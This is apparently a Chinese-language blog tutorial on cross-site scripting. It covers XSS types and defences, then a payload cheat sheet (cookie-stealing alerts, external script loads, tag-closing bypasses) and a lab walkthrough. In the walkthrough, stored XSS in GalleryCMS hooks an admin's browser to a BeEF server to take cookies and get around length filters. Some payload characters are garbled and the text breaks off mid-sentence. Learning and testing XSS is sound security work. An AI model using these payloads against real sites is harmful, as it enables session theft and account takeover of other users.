跨站脚本攻击XSS。恶意攻击者网web页面中插入恶意的script代码,当用户浏览该页时,嵌入web页面中的script代码会被执行,从而达到恶意攻击用户的目的。XSS针对的是用户层面的攻击。
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
简单来说:XSS产生的原因就是你对用户的输入做一个合法的过滤。你没有对用户的输入过滤完善,导致用户将恶意代码输入进你的页面中了。

常见的 XSS 攻击有三种:反射型XSS攻击、DOM-based 型XXS攻击以及存储型XSS攻击。
反射型 XSS 一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。反射型XSS通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
也叫持久型XSS,主要将XSS代码提交存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和JS解析执行,XSS攻击就发生了。存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。
咱们的JS把你的页面解析为一个DOM树,每一个标签称之为一个DOM元素。
可能触发DOM型XSS的属性
document.referer
window.name
location
innerHTML
documen.write


对输入内容的特定字符进行编码,例如表示 html标记的 < > 等符号。
对重要的 cookie设置 httpOnly, 防止客户端通过document.cookie读取 cookie,此 HTTP头由服务端设置。
将不可信的值输出 URL参数之前,进行 URLEncode操作,而对于从 URL参数中获取值一定要进行格式检测(比如你需要的时URL,就判读是否满足URL格式)。
不要使用 Eval来解析并运行不确定的数据或代码,对于 JSON解析请使用 JSON.parse() 方法。
后端接口也应该要做到关键字符过滤的问题。
以下所有标签的 > 都可以用 // 代替, 例如
标签: 标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
svg标签
<svg onload="alert(1)">
<svg onload="alert(1)"//
标签:
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
标签:
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
video标签:
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
style标签:
<style οnlοad=alert(1)>style>
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<script>alert('hack')script>
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> div>
<div >div><script>alert('hack')script><div a="xx"> div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入">div>
<div id="">div><script>alert('hack')script><div a="x">div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')script><b id="xx" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> style><script>alert('hack')script><style> style>
黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
常见业务场景
白盒测试(代码审计)
关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手。
PHP中常见的接收参数的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和html编码等处理。
也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。
同理审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。
#安装
apt install beef-xss
#启动
beef-xss
#进入网址
127.0.0.1:3000/ui/panel



登陆成功
github上下载gallerycms
地址:https://github.com/bensonarts/GalleryCMS
搭建要求:
这里演示的是远程服务器,把文件上传并解压到某个位置

设置数据库账号密码,在application下的config下的databases.php文件当中修改

网页显示如下,原因是在新版本的PHP中,打开的旧版的CI框架,报错如下,这里我的php版本为7.0

第一个框解决方法如下:
打开System\core\Common.php
修改如下内容
return $_config[0] =& $config;
为
$_config[0] =& $config;
return $_config[0];
第二个框解决办法如下:
将PHP版本改为5.6即可
进入数据库创建gallerycms数据库
再次访问网站 http://地址/security/gallery/
注册后数据自动存放在数据库
登录


随便输入aaaa,数据库记录值

清空album表之后再次创建,引入beef-xss的钩子 hook.js 来获取管理员的cookie
就是这个钩子

在框中引入钩子,并打开f12,注意观察
<script>$.getScript("//192.168.17.138:3000/hook.js")</script>

超出长度限制,最大限制45个字符

这里我们先改成85个字节,代码改了,数据库也要改
application下的controllers下的ablum.php


重新输入后再去查看beef,OK已上线



这样就成功上线,利用了xss存储型漏洞

这样xss存储型漏洞就可以获取到管理员的后台地址,管理员的cookie,拿到cookie也就意味着可以直接登录,但是目前有一个问题,就是我们现在做的是一个测试,字符串长度没有太多的限制,在真实项目中你肯定不能这样去做
这里我们将源码改回去

再次测试,发现几乎所有的标签都被过滤掉了,但是有一个没有别过滤掉,那就是svg标签
<svg/onload="alert(1)">
但是我以让想去获取管理员的cookie怎么办?但是beef的长度太长了
<svg/onload=$.getScript("//192.168.17.138:3000/hook.js")>
在提交框中输入提交后发现被过滤
目前有两个难题:第一个他没有过滤script标签,他对长度非常苛刻,限制在25。第二个他过滤了script标签,他对长度有一定的要求35。
所以你只能去找一个短域名。
'要是我们可以直接把hook.js写进index.html呢?
通过短域名的方式直接引进网页实现上线
这样的长度已经是极限了,20个字符
'' .length
20
script标签的src可以引入我们想要引入的hook.js文件,
因为html有自动补全的功能,所以我们再去减省要输入字符的长度,15个字符
'